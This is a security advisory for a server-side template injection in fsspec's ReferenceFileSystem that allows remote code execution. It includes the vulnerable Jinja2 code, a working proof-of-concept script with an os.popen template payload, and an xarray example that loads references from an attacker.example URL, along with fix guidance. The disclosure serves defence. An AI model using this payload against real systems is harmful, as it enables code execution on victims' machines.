GHSA-27vj-qcqg-25rc CVE-2026-104851 PYSEC-2026-4217
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
- Severity
- 8.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.47%
- Chance of exploitation in the next 30 days. Higher than 41.06% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
2026.6.0- Upgrade fsspec to this version or later
Description
Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A — _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B — _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C — _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| fsspec | >= 0.9.0, < 2026.6.0 |
2026.6.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
fsspec PyPI → 2026.6.0
- pip
pip install --upgrade "fsspec>=2026.6.0"- poetry
poetry add "fsspec>=2026.6.0"- uv
uv add "fsspec>=2026.6.0"
Severity breakdown
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
How to prevent it
- Architecture and Design: Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
- Implementation: Use the template engine's sandbox or restricted mode, if available.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
- github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc
- github.com/fsspec/filesystem_spec/pull/2029
- github.com/fsspec/filesystem_spec/pull/2039
- github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c
- github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8
- github.com/fsspec/filesystem_spec/releases/tag/2026.6.0
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| DRUPAL-CONTRIB-2026-175 The Webform module allows site builders to create forms, collect submissions, and render submitted values in configurable formats. | Critical | Same weakness, CWE-1336 |
| CVE-2026-75650 Adobe Commerce | Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) | Critical Known exploited | Same weakness, CWE-1336 |
| GHSA-73mf-m39p-wpm9 Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance) | Critical | Same weakness, CWE-1336 |
| GHSA-6wvf-77m9-58rm LiteLLM vulnerable to server-side template injection in the /prompts/test endpoint | Critical | Same weakness, CWE-1336 |
| GHSA-x67c-8pwr-m8g3 SiYuan: Second-order SSTI to arbitrary SQL via attribute-view template column (queryBlocks): malicious imported package executes SQL on victim kernel | High | Same weakness, CWE-1336 |
| GHSA-2c4f-86xc-cr74 Grav: XSS Blueprint Validation Bypass via Twig String Concatenation | Medium | Same weakness, CWE-1336 |
| GHSA-65p8-9433-jpcp YesWiki: Authenticated (Admin) Server-Side Template Injection to Remote Code Execution via Bazar Semantic Templates | High | Same weakness, CWE-1336 |
| GHSA-f74w-488g-8x5r Craft CMS: Potential authenticated Remote Code Execution via referrer redirect | High | Same weakness, CWE-1336 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor